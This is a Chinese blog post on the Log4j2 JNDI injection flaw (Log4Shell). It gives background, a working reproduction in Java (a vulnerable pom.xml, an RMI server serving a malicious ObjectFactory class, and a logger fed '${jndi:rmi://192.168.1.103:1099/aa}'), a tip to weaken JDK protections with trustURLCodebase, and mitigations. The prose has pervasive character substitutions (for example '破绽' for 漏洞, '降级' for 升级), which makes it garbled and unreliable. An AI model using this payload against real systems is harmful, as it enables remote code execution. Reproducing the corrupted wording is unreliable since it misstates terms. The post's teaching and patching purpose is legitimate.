背景

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰盛的个性。该日志框架被大量用于业务零碎开发,用来记录日志信息。大多数状况下,开发者可能会将用户输出导致的错误信息写入日志中,比方在用户登录的时候打印一些异样信息,如xxx明码输出谬误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。

前不久,Apache 开源我的项目 Log4j 的近程代码执行破绽细节被公开,因为 Log4j 的宽泛应用,该破绽一旦被攻击者利用会造成严重危害。

据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。受影响利用包含但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。

因该组件应用极为宽泛,利用门槛很低,危害极大,网络安全专家建议所有用户尽快降级到平安版本>=2.15.0。

破绽细节

srping-boot-strater-log4j2此次破绽的呈现,正是由用于 Log4j 2 提供的 lookup 性能造成的,该性能容许开发者通过一些协定去读取相应环境中的配置。但在实现的过程中,并未对输出进行严格的判断,从而造成破绽的产生。

Log4j2官网文档

破绽明细

JNDI和RMI的关系

JNDI能够近程下载class文件来构建对象

破绽复现
黑客在本人的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的破绽,向服务端的jndi context lookup的时候连贯本人的rmi服务器,服务端连贯rmi服务器执行lookup的时候会通过rmi查问到该地址指向的援用并且本地实例化这个类,所以在类中的构造方法或者动态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

代码

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>com.lingyejun</groupId>    <artifactId>log4j2-safe</artifactId>    <version>1.0-SNAPSHOT</version>    <dependencies>        <dependency>            <groupId>org.apache.logging.log4j</groupId>            <artifactId>log4j-api</artifactId>            <version>2.14.0</version>        </dependency>        <dependency>            <groupId>org.apache.logging.log4j</groupId>            <artifactId>log4j-core</artifactId>            <version>2.14.0</version>        </dependency>    </dependencies></project>
package com.lingyejun.rmi;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class HackerAttackCode implements ObjectFactory {    public HackerAttackCode() {    }    static {        System.out.println("黑客正在攻打你的服务器");    }        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        return null;    }}
package com.lingyejun.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServer {    public static void main(String[] args) {        try {            LocateRegistry.createRegistry(1099);            Registry registry = LocateRegistry.getRegistry();            // new Reference()中的第三个参数示意HackerAttackCode classes 文件的门路, 能够是ftp,http协定,本机间接写null            Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);            registry.bind("aa",referenceWrapper);            System.out.println("RMI服务端已启动");        } catch (Exception e) {            e.printStackTrace();        }    }}
package com.lingyejun;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4j2SafeMain {    private static final Logger LOGGER = LogManager.getLogger();    public static void main(String[] args) {        String userName = "lingyejun";        LOGGER.info("user {} log in success", userName);        userName = "${java:runtime}";        LOGGER.info("user {} log in success", userName);        // Java的高版本默认是不会执行近程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。        /*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/        userName = "${jndi:rmi://192.168.1.103:1099/aa}";        LOGGER.info("user {} log in success", userName);    }}

编写测试代码时候需注意以下几点

1.视频中的new Reference(), 中的第三个参数示意EvilObj classes 文件的门路, 能够是ftp,http协定,本机间接写null。
2.在测试类中因为JDK 版本起因可能会报 The object factory is untrusted 相似谬误, 因为Java的高版本默认是不会执行近程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。在Log4jTest类中增加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");
3.翎野君的jdk版本是1.8.0_144,HackerAttackCode须要实现javax.naming.spi.ObjectFactory接口能力复现。

修复

  1. 长期应急缓解措施

(1)批改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)批改配置 log4j2.formatMsgNoLookups=True
(3)将零碎环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

2. 修复计划查看所有应用了 Log4j 组件的零碎,将log4j组件版本升级至2.15.0以上。

总之不要置信客户端的输出信息,永远置信来自用户的输出是危险的。

本篇文章如有帮忙到您,请给「翎野君」点个赞,感谢您的反对。